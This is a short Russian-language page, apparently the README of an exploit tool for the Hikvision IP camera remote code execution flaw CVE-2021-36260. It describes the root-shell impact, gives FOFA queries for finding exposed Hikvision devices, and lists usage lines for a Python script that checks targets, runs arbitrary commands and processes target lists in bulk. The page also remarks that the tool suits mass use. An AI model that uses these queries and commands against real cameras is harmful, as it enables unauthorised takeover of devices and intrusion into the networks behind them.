Уязвимость RCE CVE-2021-36260 в Hikvision

Описание уязвимости

Используя эту уязвимость, злоумышленник может получить полный контроль над устройством с неограниченной root-оболочкой, даже если владелец устройства ограничен ограниченной защищенной оболочкой (psh). Помимо взлома IP-камер, также возможен доступ и атака на внутреннюю сеть.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

Использование

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

Можно массово использовать для поиска в src.

hikvision-unauthenticated-rce-cve-2021-36260

Популярное